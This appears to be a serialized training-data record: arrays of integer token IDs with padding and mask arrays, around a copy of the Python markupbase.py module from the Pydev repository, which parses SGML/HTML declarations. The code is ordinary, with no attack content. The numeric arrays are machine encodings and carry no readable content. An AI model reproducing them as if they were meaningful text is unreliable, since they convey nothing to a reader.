2798, 8, 1590, 14, 4548, 8, 46, 3342, 77, 18, 9, 272, 4488, 14, 2798, 8, 1590, 14, 4548, 8, 46, 3342, 77, 19, 9, 272, 4488, 14, 88, 3467, 360, 793, 358, 272, 4488, 14, 2384, 342, 339, 367, 330, 315, 30354, 15256, 26, 267, 870, 8, 66, 14, 3670, 9, 339, 372, 25814, 63, 8536, 421, 199, 318, 1255, 63, 10873, 8, 77, 17, 12, 333, 18, 12, 333, 19, 12, 653, 304, 272, 30354, 15256, 275, 359, 29115, 69, 6214, 28018, 1741, 8, 77, 17, 395, 29434, 69, 6214, 28018, 1741, 8, 77, 18, 395, 29434, 69, 6214, 28018, 1741, 8, 77, 19, 1874, 339, 666, 275, 980, 14, 1667, 8, 46, 9, 339, 367, 284, 315, 1425, 8, 46, 304, 267, 327, 5323, 6937, 2536, 1338, 267, 1335, 275, 980, 14, 16383, 779, 66, 14, 3271, 342, 367, 330, 315, 30354, 15256, 566, 267, 671, 275, 30354, 15256, 59, 74, 1055, 9302, 342, 267, 30354, 15256, 59, 74, 1055, 873, 8, 88, 9, 398, 327, 367, 314, 5137, 267, 666, 59, 73, 61, 275, 671, 272, 25814, 63, 8536, 275, 980, 14, 23916, 8, 576, 9, 1182, 334, 1590, 14, 5605, 8, 46, 9, 435, 413, 9, 339, 327, 5137, 12876, 8095, 286, 454, 272, 4488, 14, 2798, 8, 11898, 16813, 63, 8536, 9, 272, 4488, 14, 2798, 8, 1590, 14, 4548, 8, 46, 3342, 77, 17, 9, 272, 4488, 14, 2798, 8, 1590, 14, 4548, 8, 46, 3342, 77, 18, 9, 272, 4488, 14, 2798, 8, 1590, 14, 4548, 8, 46, 3342, 77, 19, 9, 272, 4488, 14, 88, 3467, 360, 793, 358, 272, 4488, 14, 2384, 342, 339, 372, 25814, 63, 8536, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 333, 17, 275, 413, 14, 16, 272, 333, 18, 275, 499, 14, 16, 272, 333, 19, 275, 650, 14, 16, 272, 10245, 275, 1255, 63, 10873, 63, 16889, 316, 63, 15761, 8, 77, 17, 12, 333, 18, 12, 333, 19, 12, 25761, 9, 272, 312, 1003, 275, 1255, 63, 10873, 63, 79, 1003, 8, 77, 17, 12, 333, 18, 12, 333, 19, 12, 25761, 9, 272, 399, 2894, 275, 1255, 63, 10873, 63, 9573, 8, 77, 17, 12, 333, 18, 12, 333, 19, 12, 25761, 9, 272, 30933, 397, 275, 1255, 63, 10873, 8, 77, 17, 12, 333, 18, 12, 333, 19, 12, 25761, 9, 339, 327, 943, 4666, 5137, 272, 4488, 14, 2798, 8, 8277, 12, 1768, 534, 16889, 316, 13, 15761, 13, 71, 24737, 358, 272, 4488, 14, 2798, 8, 79, 1003, 12, 1768, 534, 6433, 6937, 358, 272, 4488, 14, 2798, 8, 9573, 12, 1768, 534, 9573, 17, 358, 272, 4488, 14, 2798, 8, 19558, 397, 12, 1768, 534, 19558, 69, 6214, 358, 272, 4488, 14, 10231, 342, 272, 4488, 14, 88, 3467, 360, 793, 358, 272, 4488, 14, 2384, 342, 2378, 327, 7798, 5137, 272, 4488, 14, 2798, 8, 8277, 12, 1768, 534, 16889, 316, 13, 15761, 13, 71, 24737, 358, 272, 4488, 14, 2798, 8, 79, 1003, 12, 1768, 534, 6433, 6937, 358, 272, 4488, 14, 2798, 8, 9573, 12, 1768, 534, 9573, 17, 358, 272, 4488, 14, 2798, 8, 19558, 397, 12, 1768, 534, 19558, 69, 6214, 358, 272, 4488, 14, 10231, 342, 272, 4488, 14, 2384, 342, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2680, 465, 980, 199, 646, 8027, 14, 13563, 465, 4488, 199, 504, 20234, 63, 1545, 20329, 4654, 492, 699, 290, 1741, 199, 504, 5323, 6937, 63, 2747, 63, 1459, 492, 1255, 63, 10873, 465, 1255, 63, 10873, 63, 79, 1003, 199, 504, 399, 2894, 17, 492, 1255, 63, 10873, 465, 1255, 63, 10873, 63, 9573, 421, 199, 533, 29434, 69, 6214, 28018, 1741, 26, 272, 347, 636, 826, 721, 277, 12, 2549, 63, 3670, 304, 267, 291, 14, 2052, 63, 3670, 275, 2549, 63, 3670, 267, 327, 2633, 367, 8504, 446, 6791, 365, 653, 8, 16, 12, 17, 9, 267, 291, 14, 21118, 63, 3670, 275, 378, 267, 291, 14, 2734, 63, 275, 413, 267, 291, 14, 1838, 63, 88, 275, 378, 327, 367, 16777, 267, 291, 14, 16656, 275, 413, 339, 347, 10299, 8, 277, 304, 267, 372, 980, 14, 2355, 14, 10843, 342, 435, 291, 14, 2052, 63, 3670, 339, 347, 2690, 8, 277, 304, 267, 372, 980, 14, 2355, 14, 10843, 342, 1182, 980, 14, 5079, 8, 277, 14, 2734, 4602, 435, 291, 14, 21118, 63, 3670, 339, 347, 1678, 8, 277, 12, 671, 304, 267, 291, 14, 2734, 63, 847, 291, 14, 16656, 267, 291, 14, 1838, 63, 88, 847, 671, 267, 291, 14, 21118, 63, 3670, 275, 291, 14, 16656, 10, 277, 14, 1838, 63, 88, 1182, 291, 14, 2734, 63, 421, 199, 318, 1255, 63, 10873, 63, 16889, 316, 63, 15761, 8, 77, 17, 12, 333, 18, 12, 333, 19, 12, 653, 304, 272, 30354, 15256, 275, 359, 28018, 1741, 8, 77, 17, 395, 699, 290, 1741, 8, 77, 18, 395, 699, 290, 1741, 8, 77, 19, 1874, 339, 666, 275, 980, 14, 1667, 8, 46, 9, 339, 367, 284, 315, 1425, 8, 46, 304, 267, 327, 14030, 486, 24737, 267, 299, 275, 980, 14, 2355, 14, 2355, 342, 267, 340, 299, 665, 413, 14, 16, 7985, 73, 11, 17, 304, 288, 1335, 275, 980, 14, 2355, 14, 5095, 8, 19, 9, 267, 587, 26, 288, 1335, 275, 980, 14, 16383, 779, 66, 14, 3670, 367, 330, 315, 30354, 15256, 566, 267, 671, 275, 30354, 15256, 59, 74, 1055, 9302, 342, 267, 30354, 15256, 59, 74, 1055, 873, 8, 88, 9, 398, 327, 367, 314, 5137, 267, 666, 59, 73, 61, 275, 671, 272, 25814, 63, 8536, 275, 980, 14, 23916, 8, 576, 9, 1182, 334, 1590, 14, 5605, 8, 46, 9, 435, 413, 9, 339, 327, 5137, 12876, 8095, 286, 454, 272, 4488, 14, 2798, 8, 11898, 16813, 63, 8536, 9, 272, 4488, 14, 2798, 8, 1590, 14, 4548, 8, 46, 3342, 77, 17, 9, 272, 4488, 14, 2798, 8, 1590, 14, 4548, 8, 46, 3342, 77, 18, 9, 272, 4488, 14, 2798, 8, 1590, 14, 4548, 8, 46, 3342, 77, 19, 9, 272, 4488, 14, 88, 3467, 360, 793, 358, 272, 4488, 14, 2384, 342, 339, 367, 330, 315, 30354, 15256, 26, 267, 870, 8, 66, 14, 3670, 9, 339, 372, 25814, 63, 8536, 421, 199, 318, 1255, 63, 10873, 8, 77, 17, 12, 333, 18, 12, 333, 19, 12, 653, 304, 272, 30354, 15256, 275, 359, 29115, 69, 6214, 28018, 1741, 8, 77, 17, 395, 29434, 69, 6214, 28018, 1741, 8, 77, 18, 395, 29434, 69, 6214, 28018, 1741, 8, 77, 19, 1874, 339, 666, 275, 980, 14, 1667, 8, 46, 9, 339, 367, 284, 315, 1425, 8, 46, 304, 267, 327, 5323, 6937, 2536, 1338, 267, 1335, 275, 980, 14, 16383, 779, 66, 14, 3271, 342, 367, 330, 315, 30354, 15256, 566, 267, 671, 275, 30354, 15256, 59, 74, 1055, 9302, 342, 267, 30354, 15256, 59, 74, 1055, 873, 8, 88, 9, 398, 327, 367, 314, 5137, 267, 666, 59, 73, 61, 275, 671, 272, 25814, 63, 8536, 275, 980, 14, 23916, 8, 576, 9, 1182, 334, 1590, 14, 5605, 8, 46, 9, 435, 413, 9, 339, 327, 5137, 12876, 8095, 286, 454, 272, 4488, 14, 2798, 8, 11898, 16813, 63, 8536, 9, 272, 4488, 14, 2798, 8, 1590, 14, 4548, 8, 46, 3342, 77, 17, 9, 272, 4488, 14, 2798, 8, 1590, 14, 4548, 8, 46, 3342, 77, 18, 9, 272, 4488, 14, 2798, 8, 1590, 14, 4548, 8, 46, 3342, 77, 19, 9, 272, 4488, 14, 88, 3467, 360, 793, 358, 272, 4488, 14, 2384, 342, 339, 372, 25814, 63, 8536, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 333, 17, 275, 413, 14, 16, 272, 333, 18, 275, 499, 14, 16, 272, 333, 19, 275, 650, 14, 16, 272, 10245, 275, 1255, 63, 10873, 63, 16889, 316, 63, 15761, 8, 77, 17, 12, 333, 18, 12, 333, 19, 12, 25761, 9, 272, 312, 1003, 275, 1255, 63, 10873, 63, 79, 1003, 8, 77, 17, 12, 333, 18, 12, 333, 19, 12, 25761, 9, 272, 399, 2894, 275, 1255, 63, 10873, 63, 9573, 8, 77, 17, 12, 333, 18, 12, 333, 19, 12, 25761, 9, 272, 30933, 397, 275, 1255, 63, 10873, 8, 77, 17, 12, 333, 18, 12, 333, 19, 12, 25761, 9, 339, 327, 943, 4666, 5137, 272, 4488, 14, 2798, 8, 8277, 12, 1768, 534, 16889, 316, 13, 15761, 13, 71, 24737, 358, 272, 4488, 14, 2798, 8, 79, 1003, 12, 1768, 534, 6433, 6937, 358, 272, 4488, 14, 2798, 8, 9573, 12, 1768, 534, 9573, 17, 358, 272, 4488, 14, 2798, 8, 19558, 397, 12, 1768, 534, 19558, 69, 6214, 358, 272, 4488, 14, 10231, 342, 272, 4488, 14, 88, 3467, 360, 793, 358, 272, 4488, 14, 2384, 342, 2378, 327, 7798, 5137, 272, 4488, 14, 2798, 8, 8277, 12, 1768, 534, 16889, 316, 13, 15761, 13, 71, 24737, 358, 272, 4488, 14, 2798, 8, 79, 1003, 12, 1768, 534, 6433, 6937, 358, 272, 4488, 14, 2798, 8, 9573, 12, 1768, 534, 9573, 17, 358, 272, 4488, 14, 2798, 8, 19558, 397, 12, 1768, 534, 19558, 69, 6214, 358, 272, 4488, 14, 10231, 342, 272, 4488, 14, 2384, 342, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
fabioz/Pydev
plugins/org.python.pydev.jython/Lib/markupbase.py
173
14643
"""Shared support for scanning document type declarations in HTML and XHTML. This module is used as a foundation for the HTMLParser and sgmllib modules (indirectly, for htmllib as well). It has no documented public API and should not be used directly. """ import re _declname_match = re.compile(r'[a-zA-Z][-_.a-zA-Z0-9]*\s*').match _declstringlit_match = re.compile(r'(\'[^\']*\'|"[^"]*")\s*').match _commentclose = re.compile(r'--\s*>') _markedsectionclose = re.compile(r']\s*]\s*>') # An analysis of the MS-Word extensions is available at # http://www.planetpublish.com/xmlarena/xap/Thursday/WordtoXML.pdf _msmarkedsectionclose = re.compile(r']\s*>') del re class ParserBase: """Parser base class which provides some common support methods used by the SGML/HTML and XHTML parsers.""" def __init__(self): if self.__class__ is ParserBase: raise RuntimeError( "markupbase.ParserBase must be subclassed") def error(self, message): raise NotImplementedError( "subclasses of ParserBase must override error()") def reset(self): self.lineno = 1 self.offset = 0 def getpos(self): """Return current line number and offset.""" return self.lineno, self.offset # Internal -- update line number and offset. This should be # called for each piece of data exactly once, in order -- in other # words the concatenation of all the input strings to this # function should be exactly the entire input. def updatepos(self, i, j): if i >= j: return j rawdata = self.rawdata nlines = rawdata.count("\n", i, j) if nlines: self.lineno = self.lineno + nlines pos = rawdata.rindex("\n", i, j) # Should not fail self.offset = j-(pos+1) else: self.offset = self.offset + j-i return j _decl_otherchars = '' # Internal -- parse declaration (for use by subclasses). def parse_declaration(self, i): # This is some sort of declaration; in "HTML as # deployed," this should only be the document type # declaration ("<!DOCTYPE html...>"). # ISO 8879:1986, however, has more complex # declaration syntax for elements in <!...>, including: # --comment-- # [marked section] # name in the following list: ENTITY, DOCTYPE, ELEMENT, # ATTLIST, NOTATION, SHORTREF, USEMAP, # LINKTYPE, LINK, IDLINK, USELINK, SYSTEM rawdata = self.rawdata j = i + 2 assert rawdata[i:j] == "<!", "unexpected call to parse_declaration" if rawdata[j:j+1] == ">": # the empty comment <!> return j + 1 if rawdata[j:j+1] in ("-", ""): # Start of comment followed by buffer boundary, # or just a buffer boundary. return -1 # A simple, practical version could look like: ((name|stringlit) S*) + '>' n = len(rawdata) if rawdata[j:j+2] == '--': #comment # Locate --.*-- as the body of the comment return self.parse_comment(i) elif rawdata[j] == '[': #marked section # Locate [statusWord [...arbitrary SGML...]] as the body of the marked section # Where statusWord is one of TEMP, CDATA, IGNORE, INCLUDE, RCDATA # Note that this is extended by Microsoft Office "Save as Web" function # to include [if...] and [endif]. return self.parse_marked_section(i) else: #all other declaration elements decltype, j = self._scan_name(j, i) if j < 0: return j if decltype == "doctype": self._decl_otherchars = '' while j < n: c = rawdata[j] if c == ">": # end of declaration syntax data = rawdata[i+2:j] if decltype == "doctype": self.handle_decl(data) else: # According to the HTML5 specs sections "8.2.4.44 Bogus # comment state" and "8.2.4.45 Markup declaration open # state", a comment token should be emitted. # Calling unknown_decl provides more flexibility though. self.unknown_decl(data) return j + 1 if c in "\"'": m = _declstringlit_match(rawdata, j) if not m: return -1 # incomplete j = m.end() elif c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ": name, j = self._scan_name(j, i) elif c in self._decl_otherchars: j = j + 1 elif c == "[": # this could be handled in a separate doctype parser if decltype == "doctype": j = self._parse_doctype_subset(j + 1, i) elif decltype in ("attlist", "linktype", "link", "element"): # must tolerate []'d groups in a content model in an element declaration # also in data attribute specifications of attlist declaration # also link type declaration subsets in linktype declarations # also link attribute specification lists in link declarations self.error("unsupported '[' char in %s declaration" % decltype) else: self.error("unexpected '[' char in declaration") else: self.error( "unexpected %r char in declaration" % rawdata[j]) if j < 0: return j return -1 # incomplete # Internal -- parse a marked section # Override this to handle MS-word extension syntax <![if word]>content<![endif]> def parse_marked_section(self, i, report=1): rawdata= self.rawdata assert rawdata[i:i+3] == '<![', "unexpected call to parse_marked_section()" sectName, j = self._scan_name( i+3, i ) if j < 0: return j if sectName in ("temp", "cdata", "ignore", "include", "rcdata"): # look for standard ]]> ending match= _markedsectionclose.search(rawdata, i+3) elif sectName in ("if", "else", "endif"): # look for MS Office ]> ending match= _msmarkedsectionclose.search(rawdata, i+3) else: self.error('unknown status keyword %r in marked section' % rawdata[i+3:j]) if not match: return -1 if report: j = match.start(0) self.unknown_decl(rawdata[i+3: j]) return match.end(0) # Internal -- parse comment, return length or -1 if not terminated def parse_comment(self, i, report=1): rawdata = self.rawdata if rawdata[i:i+4] != '<!--': self.error('unexpected call to parse_comment()') match = _commentclose.search(rawdata, i+4) if not match: return -1 if report: j = match.start(0) self.handle_comment(rawdata[i+4: j]) return match.end(0) # Internal -- scan past the internal subset in a <!DOCTYPE declaration, # returning the index just past any whitespace following the trailing ']'. def _parse_doctype_subset(self, i, declstartpos): rawdata = self.rawdata n = len(rawdata) j = i while j < n: c = rawdata[j] if c == "<": s = rawdata[j:j+2] if s == "<": # end of buffer; incomplete return -1 if s != "<!": self.updatepos(declstartpos, j + 1) self.error("unexpected char in internal subset (in %r)" % s) if (j + 2) == n: # end of buffer; incomplete return -1 if (j + 4) > n: # end of buffer; incomplete return -1 if rawdata[j:j+4] == "<!--": j = self.parse_comment(j, report=0) if j < 0: return j continue name, j = self._scan_name(j + 2, declstartpos) if j == -1: return -1 if name not in ("attlist", "element", "entity", "notation"): self.updatepos(declstartpos, j + 2) self.error( "unknown declaration %r in internal subset" % name) # handle the individual names meth = getattr(self, "_parse_doctype_" + name) j = meth(j, declstartpos) if j < 0: return j elif c == "%": # parameter entity reference if (j + 1) == n: # end of buffer; incomplete return -1 s, j = self._scan_name(j + 1, declstartpos) if j < 0: return j if rawdata[j] == ";": j = j + 1 elif c == "]": j = j + 1 while j < n and rawdata[j].isspace(): j = j + 1 if j < n: if rawdata[j] == ">": return j self.updatepos(declstartpos, j) self.error("unexpected char after internal subset") else: return -1 elif c.isspace(): j = j + 1 else: self.updatepos(declstartpos, j) self.error("unexpected char %r in internal subset" % c) # end of buffer reached return -1 # Internal -- scan past <!ELEMENT declarations def _parse_doctype_element(self, i, declstartpos): name, j = self._scan_name(i, declstartpos) if j == -1: return -1 # style content model; just skip until '>' rawdata = self.rawdata if '>' in rawdata[j:]: return rawdata.find(">", j) + 1 return -1 # Internal -- scan past <!ATTLIST declarations def _parse_doctype_attlist(self, i, declstartpos): rawdata = self.rawdata name, j = self._scan_name(i, declstartpos) c = rawdata[j:j+1] if c == "": return -1 if c == ">": return j + 1 while 1: # scan a series of attribute descriptions; simplified: # name type [value] [#constraint] name, j = self._scan_name(j, declstartpos) if j < 0: return j c = rawdata[j:j+1] if c == "": return -1 if c == "(": # an enumerated type; look for ')' if ")" in rawdata[j:]: j = rawdata.find(")", j) + 1 else: return -1 while rawdata[j:j+1].isspace(): j = j + 1 if not rawdata[j:]: # end of buffer, incomplete return -1 else: name, j = self._scan_name(j, declstartpos) c = rawdata[j:j+1] if not c: return -1 if c in "'\"": m = _declstringlit_match(rawdata, j) if m: j = m.end() else: return -1 c = rawdata[j:j+1] if not c: return -1 if c == "#": if rawdata[j:] == "#": # end of buffer return -1 name, j = self._scan_name(j + 1, declstartpos) if j < 0: return j c = rawdata[j:j+1] if not c: return -1 if c == '>': # all done return j + 1 # Internal -- scan past <!NOTATION declarations def _parse_doctype_notation(self, i, declstartpos): name, j = self._scan_name(i, declstartpos) if j < 0: return j rawdata = self.rawdata while 1: c = rawdata[j:j+1] if not c: # end of buffer; incomplete return -1 if c == '>': return j + 1 if c in "'\"": m = _declstringlit_match(rawdata, j) if not m: return -1 j = m.end() else: name, j = self._scan_name(j, declstartpos) if j < 0: return j # Internal -- scan past <!ENTITY declarations def _parse_doctype_entity(self, i, declstartpos): rawdata = self.rawdata if rawdata[i:i+1] == "%": j = i + 1 while 1: c = rawdata[j:j+1] if not c: return -1 if c.isspace(): j = j + 1 else: break else: j = i name, j = self._scan_name(j, declstartpos) if j < 0: return j while 1: c = self.rawdata[j:j+1] if not c: return -1 if c in "'\"": m = _declstringlit_match(rawdata, j) if m: j = m.end() else: return -1 # incomplete elif c == ">": return j + 1 else: name, j = self._scan_name(j, declstartpos) if j < 0: return j # Internal -- scan a name token and the new position and the token, or # return -1 if we've reached the end of the buffer. def _scan_name(self, i, declstartpos): rawdata = self.rawdata n = len(rawdata) if i == n: return None, -1 m = _declname_match(rawdata, i) if m: s = m.group() name = s.strip() if (i + len(s)) == n: return None, -1 # end of buffer return name.lower(), m.end() else: self.updatepos(declstartpos, i) self.error("expected name token at %r" % rawdata[declstartpos:declstartpos+20]) # To be overridden -- handlers for unknown objects def unknown_decl(self, data): pass
epl-1.0
[ 624, 12197, 2291, 367, 24928, 2213, 730, 18707, 315, 4163, 436, 26223, 14, 199, 199, 2765, 859, 365, 1202, 465, 282, 1911, 425, 367, 314, 24581, 436, 12578, 25598, 199, 3112, 334, 29306, 590, 12, 367, 3517, 773, 465, 5521, 680, 221, 2779, 965, 949, 22751, 199, 3455, 3261, 436, 1077, 440, 506, 1202, 5370, 14, 199, 199, 624, 199, 199, 646, 295, 199, 199, 63, 9427, 354, 63, 1431, 275, 295, 14, 2014, 8, 82, 3894, 65, 13, 6353, 13, 58, 15898, 3754, 65, 13, 6353, 13, 58, 16, 13, 25, 25739, 83, 10, 1959, 1431, 199, 63, 9427, 875, 1051, 63, 1431, 275, 295, 14, 2014, 8, 82, 13445, 29538, 20445, 3985, 25576, 25153, 10, 27681, 83, 10, 1959, 1431, 199, 63, 3349, 1600, 275, 295, 14, 2014, 8, 82, 27529, 60, 83, 10, 5971, 199, 63, 17938, 2792, 1600, 275, 295, 14, 2014, 8, 82, 418, 60, 83, 10, 7272, 83, 10, 5971, 199, 199, 3, 1626, 11284, 402, 314, 14282, 13, 10155, 5478, 365, 2808, 737, 199, 3, 1455, 921, 1544, 14, 28391, 4763, 14, 957, 15, 10198, 416, 28359, 15, 88, 439, 15, 2719, 21050, 2977, 15, 10155, 475, 4317, 14, 5607, 199, 199, 63, 706, 17938, 2792, 1600, 275, 295, 14, 2014, 8, 82, 418, 60, 83, 10, 5971, 199, 199, 2264, 295, 421, 199, 533, 10191, 1563, 26, 272, 408, 2842, 1300, 1021, 1314, 6571, 2005, 2863, 2291, 3102, 1202, 272, 701, 314, 18868, 1698, 15, 4943, 436, 26223, 21295, 1041, 339, 347, 636, 826, 721, 277, 304, 267, 340, 291, 855, 533, 363, 365, 10191, 1563, 26, 288, 746, 6064, 8, 355, 298, 10131, 1095, 14, 2842, 1563, 1471, 506, 1007, 28271, 531, 339, 347, 1125, 8, 277, 12, 1245, 304, 267, 746, 4279, 8, 288, 298, 19094, 402, 10191, 1563, 1471, 4278, 1125, 16060, 339, 347, 5305, 8, 277, 304, 267, 291, 14, 3469, 275, 413, 267, 291, 14, 2743, 275, 378, 339, 347, 664, 1712, 8, 277, 304, 267, 408, 1767, 1453, 1004, 1329, 436, 3268, 1041, 267, 372, 291, 14, 3469, 12, 291, 14, 2743, 339, 327, 12624, 1553, 1678, 1004, 1329, 436, 3268, 14, 221, 961, 1077, 506, 272, 327, 2797, 367, 1924, 14854, 402, 666, 8840, 5403, 12, 315, 1865, 1553, 315, 1163, 272, 327, 5932, 314, 28207, 402, 1006, 314, 1324, 3326, 370, 642, 272, 327, 805, 1077, 506, 8840, 314, 8039, 1324, 14, 272, 347, 1678, 1712, 8, 277, 12, 284, 12, 1335, 304, 267, 340, 284, 2356, 1335, 26, 288, 372, 1335, 267, 15705, 275, 291, 14, 14901, 267, 302, 1278, 275, 15705, 14, 835, 4582, 78, 401, 284, 12, 1335, 9, 267, 340, 302, 1278, 26, 288, 291, 14, 3469, 275, 291, 14, 3469, 435, 302, 1278, 288, 2086, 275, 15705, 14, 26187, 4582, 78, 401, 284, 12, 1335, 9, 327, 7719, 440, 2449, 288, 291, 14, 2743, 275, 1335, 15426, 1712, 11, 17, 9, 267, 587, 26, 288, 291, 14, 2743, 275, 291, 14, 2743, 435, 1335, 13, 73, 267, 372, 1335, 339, 485, 9427, 63, 1848, 6574, 275, 2125, 339, 327, 12624, 1553, 2198, 12560, 334, 509, 675, 701, 9180, 680, 272, 347, 2198, 63, 15477, 8, 277, 12, 284, 304, 267, 327, 961, 365, 2005, 4069, 402, 12560, 27, 315, 298, 4943, 465, 267, 327, 26181, 4589, 642, 1077, 1454, 506, 314, 2213, 730, 267, 327, 12560, 1689, 11230, 16556, 3517, 1396, 30, 3471, 267, 327, 9055, 10523, 1965, 26, 1167, 1184, 12, 13432, 12, 965, 1655, 6114, 267, 327, 12560, 6302, 367, 4008, 315, 31513, 1396, 6244, 5893, 26, 267, 327, 1553, 3349, 306, 267, 327, 359, 17938, 3420, 61, 267, 327, 536, 315, 314, 2569, 769, 26, 32526, 1922, 12, 3506, 7540, 12, 662, 10320, 12, 267, 327, 10395, 4924, 12, 2845, 2594, 12, 26389, 8279, 12, 4815, 5443, 12, 267, 327, 19774, 2711, 12, 19774, 12, 2870, 7916, 12, 4815, 7916, 12, 20859, 267, 15705, 275, 291, 14, 14901, 267, 1335, 275, 284, 435, 499, 267, 702, 15705, 59, 73, 26, 74, 61, 508, 3886, 17716, 298, 8953, 1240, 370, 2198, 63, 15477, 2, 267, 340, 15705, 59, 74, 26, 74, 11, 17, 61, 508, 25366, 288, 327, 314, 2701, 3721, 31513, 30, 288, 372, 1335, 435, 413, 267, 340, 15705, 59, 74, 26, 74, 11, 17, 61, 315, 19372, 401, 26430, 288, 327, 7707, 402, 3721, 9437, 701, 3335, 8424, 12, 288, 327, 503, 2951, 282, 3335, 8424, 14, 288, 372, 446, 17, 267, 327, 437, 3486, 12, 20594, 3294, 1015, 4293, 3648, 2839, 26, 3666, 354, 92, 875, 1051, 9, 428, 13278, 435, 21770, 267, 302, 275, 822, 8, 14901, 9, 267, 340, 15705, 59, 74, 26, 74, 11, 18, 61, 508, 2850, 356, 327, 3349, 288, 327, 6263, 323, 1553, 2795, 306, 465, 314, 2396, 402, 314, 3721, 288, 372, 291, 14, 1122, 63, 3349, 8, 73, 9, 267, 916, 15705, 59, 74, 61, 508, 6730, 356, 327, 17938, 3420, 288, 327, 6263, 323, 359, 1205, 10155, 359, 1396, 285, 8734, 18868, 1698, 1396, 2677, 465, 314, 2396, 402, 314, 11584, 3420, 288, 327, 17685, 2004, 10155, 365, 1373, 402, 24314, 12, 445, 3998, 12, 27499, 5788, 12, 1621, 13958, 12, 820, 14049, 288, 327, 3390, 626, 642, 365, 9243, 701, 15332, 593, 11286, 301, 298, 8229, 465, 6001, 2, 805, 288, 327, 370, 2387, 359, 692, 18737, 436, 359, 13739, 1055, 288, 372, 291, 14, 1122, 63, 17938, 63, 2792, 8, 73, 9, 267, 587, 26, 327, 452, 1163, 12560, 4008, 288, 15021, 466, 12, 1335, 275, 291, 423, 6282, 63, 354, 8, 74, 12, 284, 9, 267, 340, 1335, 665, 378, 26, 288, 372, 1335, 267, 340, 15021, 466, 508, 298, 6356, 582, 288, 291, 423, 9427, 63, 1848, 6574, 275, 2125, 267, 1830, 1335, 665, 302, 26, 288, 286, 275, 15705, 59, 74, 61, 288, 340, 286, 508, 25366, 355, 327, 1284, 402, 12560, 6302, 355, 666, 275, 15705, 59, 73, 11, 18, 26, 74, 61, 355, 340, 15021, 466, 508, 298, 6356, 582, 490, 291, 14, 2479, 63, 9427, 8, 576, 9, 355, 587, 26, 490, 327, 31970, 370, 314, 4163, 21, 15941, 10189, 298, 24, 14, 18, 14, 20, 14, 1602, 699, 21670 ]
[ 12197, 2291, 367, 24928, 2213, 730, 18707, 315, 4163, 436, 26223, 14, 199, 199, 2765, 859, 365, 1202, 465, 282, 1911, 425, 367, 314, 24581, 436, 12578, 25598, 199, 3112, 334, 29306, 590, 12, 367, 3517, 773, 465, 5521, 680, 221, 2779, 965, 949, 22751, 199, 3455, 3261, 436, 1077, 440, 506, 1202, 5370, 14, 199, 199, 624, 199, 199, 646, 295, 199, 199, 63, 9427, 354, 63, 1431, 275, 295, 14, 2014, 8, 82, 3894, 65, 13, 6353, 13, 58, 15898, 3754, 65, 13, 6353, 13, 58, 16, 13, 25, 25739, 83, 10, 1959, 1431, 199, 63, 9427, 875, 1051, 63, 1431, 275, 295, 14, 2014, 8, 82, 13445, 29538, 20445, 3985, 25576, 25153, 10, 27681, 83, 10, 1959, 1431, 199, 63, 3349, 1600, 275, 295, 14, 2014, 8, 82, 27529, 60, 83, 10, 5971, 199, 63, 17938, 2792, 1600, 275, 295, 14, 2014, 8, 82, 418, 60, 83, 10, 7272, 83, 10, 5971, 199, 199, 3, 1626, 11284, 402, 314, 14282, 13, 10155, 5478, 365, 2808, 737, 199, 3, 1455, 921, 1544, 14, 28391, 4763, 14, 957, 15, 10198, 416, 28359, 15, 88, 439, 15, 2719, 21050, 2977, 15, 10155, 475, 4317, 14, 5607, 199, 199, 63, 706, 17938, 2792, 1600, 275, 295, 14, 2014, 8, 82, 418, 60, 83, 10, 5971, 199, 199, 2264, 295, 421, 199, 533, 10191, 1563, 26, 272, 408, 2842, 1300, 1021, 1314, 